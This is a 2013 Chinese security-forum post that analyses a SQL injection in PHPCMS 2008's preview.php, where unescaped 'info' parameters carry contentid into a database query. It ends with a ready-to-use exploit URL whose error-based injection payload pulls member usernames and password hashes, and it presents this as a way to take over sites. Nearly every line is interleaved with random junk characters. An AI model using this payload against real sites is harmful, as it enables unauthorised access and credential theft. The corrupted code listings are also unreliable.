中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
$ J5 f1 n" d6 x4 ~$ q
6 T6 |2 z+ d' C6 f3 h; s2 e   要转摘的兄弟们,你们还是带个版权吧!   
$ t- K- _* J0 G1 A, G5 Q6 T1 {5 j: @4 M! P% z# ?% ~
  组织 : http://www.safekeyer.com/   (欢迎访问)
  u# y& J* l& A2 p9 v+ P: Q1 d0 _
/ D, j6 q. {) `5 aauthor: 西毒    blog: http://hi.baidu.com/sethc5' t$ I) ^0 R/ F* Y, h; o0 R0 Y) J

! N; u4 x1 [' c" N$ ]     8 U- I8 q$ Z+ K" w' ?
/ V( E  N5 A- _/ i
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.) u* V9 @* Y* r: y: q+ V" f
  V  Y" q3 m8 C5 ]$ s4 ]5 n3 Y
过程不明显的我就省略了。6 {# _3 _7 v3 I/ C

1 G8 f0 W0 |4 d" |在preview.php 中第7行
' [: a8 J! h5 o2 @6 L9 |$ `& l
9 L% a2 `; \5 O  G5 ^$r = new_stripslashes($info);# B; N5 G. t# ?: [* B: I

$ z+ u8 F3 K% ]' \$ ?+ E; z- W我们跟踪new_stripslashes这个函数; K! ]9 D% W" F$ B5 k& D% y5 P

' v* a* I( r5 }( }( Y在global.func.php中可以找到
; b6 h- l5 o. X! g0 z4 v" A. r3 d
# X( w5 f: j4 h8 `% W9 K* l4 m1) j9 P  j0 J% q' p
2! G- ~( N# q8 t, E; L# ?
3
7 i$ v" _" K- ~49 E( t/ e! P/ W; w2 D
5
$ X1 b8 C5 H! d3 B2 B4 H4 ?6 function new_stripslashes($string)
. K! ?9 N( J% ^6 o{6 e3 y8 a$ O& Y* g7 e! I- C4 G
    if(!is_array($string)) return stripslashes($string);# x6 b8 D' E. o9 J
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);! C. U$ X, o6 W
    return $string;
- v/ @* i  O/ w9 H, u$ e4 z3 N: w} 8 t: U$ w# z. ]- Y1 E7 @# C
# Y, b2 x5 q8 V+ Z5 P0 w
这个函数的功能不用解释了吧
( H+ }% w1 z/ j" |2 g% M9 S, g+ l) p2 B7 |1 f9 O- @- `+ S# H
所以我们看具体应用点再哪?
4 t8 }/ \. f7 [) f) U  F- b+ L) p$ o: q& h
16 o! v6 E7 q5 N
2
! J9 d/ M6 C. O9 Q3
( M/ x* g, ~: D7 f  v# o1 A3 [& a4
. P$ O9 n  x4 A5
; i/ s/ Z# P' ~/ ]# c6- j4 v/ T2 U0 e7 V* l
7- q; R  \0 w, Z' w$ u& s6 {. c
8
$ U% w0 `5 N; h5 w9 R; [9+ S0 D* G- i+ V9 }1 b0 h4 C  ?
10& {% e! @/ q# J8 F5 M6 Q& e3 P
11
+ K7 _7 |3 ]; }- U" P# m( W12
& J4 \- u' n# u1 g- \134 A4 c: I6 g) A1 J+ v3 @
14
6 \& p* b4 N2 |155 H" D# n$ j. c, j7 Z7 E2 j( w
16
* F7 y3 ?* `$ w4 y5 a5 ~17
7 N: |' k8 ~: t) ~18
9 Q* ~4 a$ D+ t$ x190 K. V' a& I+ L# r% \2 a( ^
20% J4 m" u  ?" O2 ~" N/ J* g0 Q" Q
21
/ u+ o* D% X4 N/ C22
5 O3 V6 h  n8 }1 ]; @: b235 Y9 ~+ j7 G/ u
24
% f* a+ j7 U/ E3 i25
6 v1 @* e" ?' W3 ?9 T% T26
7 `4 u3 V5 k) Z/ o/ o% [27/ k! X5 Q7 w( I7 m1 ^7 r; x* o
281 [3 E' n8 x: [; u0 `7 l: V
294 X' ]7 F$ F; q. J" L6 P
30
( k$ X- q* D2 d+ o; d31
9 i; A: z! V+ l7 W; {3 y32/ e. W% F- W% `
334 C0 [  t% |7 L# ^
34& F& }6 i9 W6 @* O
35 require dirname(__FILE__).'/include/common.inc.php';
- ]8 z- h0 v( N6 x" Nif(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了./ S+ G* s# R" [- H9 {8 ]
require_once CACHE_MODEL_PATH.'content_output.class.php';3 {! r6 y9 `" O3 K$ I
require_once 'output.class.php';- ]4 ~# @* R. H% g3 E, N
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了3 h, W2 k, c" b8 C
$r = new_stripslashes($info);   //反转义了.....关键
/ H$ Z. X; ^1 D- P6 s$C = cache_read('category_'.$r['catid'].'.php');, n. R1 U* W7 g- o8 M
$out = new content_output();
6 w4 d, Y1 R8 m+ ]$r['userid'] = $_userid;
0 ?5 h/ k' u& G/ K9 ?3 x2 O' f$r['inputtime'] = TIME;
2 o5 u1 M& ?6 u1 r% n$data = $out->get($r);6 k- C2 _% N1 {/ K& r8 E
extract($data);  f$ P& f! {0 _; {2 h- n- L0 R5 |
$userid = $_username;/ ^: J# S& k0 w* L/ }  v
for($i=1;$i<10;$i++): y, C1 R8 v* E8 v
{' S% ^% w/ ^' W0 Y
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
4 e  s; R2 \% Q' _8 v}
( A% C$ D4 }; X" u& F; n& h4 e4 K        
* H. M1 h4 f8 T1 z$array_images = $str_attachmentArray;
- ]9 k( ?: s; s! ]& h, e, u$images_number = 10;! m" z; _$ w8 I; `
$allow_priv = $allow_readpoint = 1;$ I5 |  G. V2 m. |( T
$updatetime = date('Y-m-d H:i:s',TIME);
1 Q1 a+ c$ ]! P2 g3 Q) b        
7 [: C( ]+ O& q# e7 ]- m1 M$page = max(intval($page), 1);7 l* m, p" ]' g1 D9 C$ S1 j
$pages = $titles = '';
6 X; s: T; w4 W+ Lif(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
" U4 [5 z! q6 L: j{4 `- }; u+ Q5 J. s, p; ]1 R
    require_once 'url.class.php';1 T* O& ?& D2 k5 z1 l1 Z1 i  \8 i
    $curl = new url();
  @1 c9 a! H/ P9 Q7 J    $contents = array_filter(explode('', $content));
: O. e" b  R% G* N9 Y    $pagenumber = count($contents);/ ]9 B+ b  @- Q" R  V
    for($i=1; $i<=$pagenumber; $i++)* J2 ~6 q! J7 R$ n( l# L
    {
% m) t3 b, h( s        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中  t& r$ q3 l- |7 J5 ?" d
    }
6 v! q  q: X6 M其中细节我就不说了...
' @7 X4 R5 m% v# S/ A& E. F
; B% @2 \: P' w! f0 m+ S4 Q我们看看这个$curl资源句柄中的show方法
$ G2 v& Y4 }+ t8 I4 B1 }1 d5 A6 L9 Q! A6 M
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
' r. I* J! h# y
% x) c7 c# w% u2 z: f/ A+ o( ~1
9 n/ I6 P" O1 |! H' H7 N! w5 G2* h: N! D, D" e0 _9 i7 w/ K- f
3
* N, _" d, l8 j9 j# m. e4& c7 p+ h& y( R& l& l* \, r: J. x
5
) b/ z! k8 X% O3 }6# b1 O$ B4 n& E  N5 Y! ^$ l
7
0 q2 L& {, Y8 O8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
" w4 u0 ~$ j7 l& Q% P* j    {: t8 k% N* {8 X. a2 G1 p! d. ~
        global $PHPCMS;0 n, i- V1 L! L# \) H8 U3 _
        if($catid == 0 || $time == 0 || $prefix == '')
0 A/ O; ^! d2 E; R# f) s        {/ m( v4 @+ \2 a1 y* Z& o- F/ l) \. e  g
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
: z+ `: w- P6 G# D/ U            if($r['isupgrade'] && !empty($r['url'])). r$ ~2 l: t+ q' U% N% l3 C: Q
            {   o" {2 `, T% e7 y" }7 w
! v8 }& x& W3 y0 Q3 p* r6 R+ h9 B
所以结合前面的......我们x站了吧1 N) [& i$ D% u* w

0 y) ], w3 o: B给出exp5 B+ j* B4 F* S9 e  J) N0 s: B/ A
6 d) c2 A5 h! f5 x( i
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​
  I3 p( H1 O4 a: ~2 ^5 b3 h3 z5 n7 o, n- u. o
截图看一下7 |$ Q" P4 H3 B; P0 P& o
1 l  S$ C# H' h' k
最后真心说句,360收购漏洞计划,价格真心低.....
1 h& @  H$ F- j! Q6 n% ~http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2